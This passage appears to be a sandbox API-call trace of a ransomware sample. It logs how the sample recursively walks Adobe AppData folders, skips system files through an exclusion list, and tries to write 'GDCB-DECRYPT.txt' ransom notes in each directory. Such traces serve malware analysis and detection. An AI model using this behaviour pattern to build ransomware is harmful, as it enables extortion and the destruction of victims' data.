Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt" [0170.247] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.247] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 202 [0170.247] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 202 [0170.247] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 202 [0170.247] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\GDCB-DECRYPT.txt") returned 202 [0170.247] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.247] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.247] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.247] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.247] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.247] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.247] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.247] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.247] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.247] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.247] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\", lpString2="AcroCef" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef" [0170.247] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\" [0170.247] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.247] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.247] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.247] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.247] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.247] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.247] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned 186 [0170.248] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*" [0170.248] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*", lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0x5a4e18 [0170.248] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.248] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.248] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.248] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.248] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.248] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0170.248] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0170.248] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC" [0170.248] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned 188 [0170.248] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.248] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.248] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.248] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt" [0170.248] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 202 [0170.248] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.248] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0 [0170.248] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.248] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.248] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt") returned 203 [0170.248] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.250] GetLastError () returned 0x50 [0170.250] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.250] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned 186 [0170.250] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*" [0170.250] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*", lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0x5a4e18 [0170.250] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC" [0170.250] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\" [0170.250] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.250] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.250] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.250] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.250] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.250] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.251] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned 189 [0170.251] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*" [0170.251] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0x5a4e98 [0170.251] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.251] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.251] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.251] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.251] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.251] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0170.251] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0170.251] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat" [0170.251] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned 196 [0170.251] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.251] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.251] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.251] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt" [0170.251] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 205 [0170.251] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.251] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0 [0170.251] FindClose (in: hFindFile=0x5a4e98 | out: hFindFile=0x5a4e98) returned 1 [0170.251] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.251] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt") returned 206 [0170.251] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.253] GetLastError () returned 0x50 [0170.253] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.253] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned 189 [0170.253] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*" [0170.253] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0x5a4e98 [0170.253] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat" [0170.253] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\" [0170.253] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.253] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.253] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.253] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.253] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.253] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.254] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 197 [0170.254] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0170.254] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0x5dd3d0 [0170.254] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.254] FindNextFileW (in: hFindFile=0x5dd3d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.254] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.254] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.254] FindNextFileW (in: hFindFile=0x5dd3d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.254] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.254] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.254] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache" [0170.254] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned 202 [0170.254] FindNextFileW (in: hFindFile=0x5dd3d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.254] lstrcmpW (lpString1="Cookie", lpString2=".") returned 1 [0170.254] lstrcmpW (lpString1="Cookie", lpString2="..") returned 1 [0170.254] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cookie" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie" [0170.254] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned 203 [0170.254] FindNextFileW (in: hFindFile=0x5dd3d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 1 [0170.254] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.254] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.254] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt" [0170.254] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 213 [0170.254] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.254] FindNextFileW (in: hFindFile=0x5dd3d0, lpFindFileData=0x285d458 | out: lpFindFileData=0x285d458) returned 0 [0170.254] FindClose (in: hFindFile=0x5dd3d0 | out: hFindFile=0x5dd3d0) returned 1 [0170.254] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.254] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt") returned 214 [0170.254] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.256] GetLastError () returned 0x50 [0170.256] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.256] lstrlenW 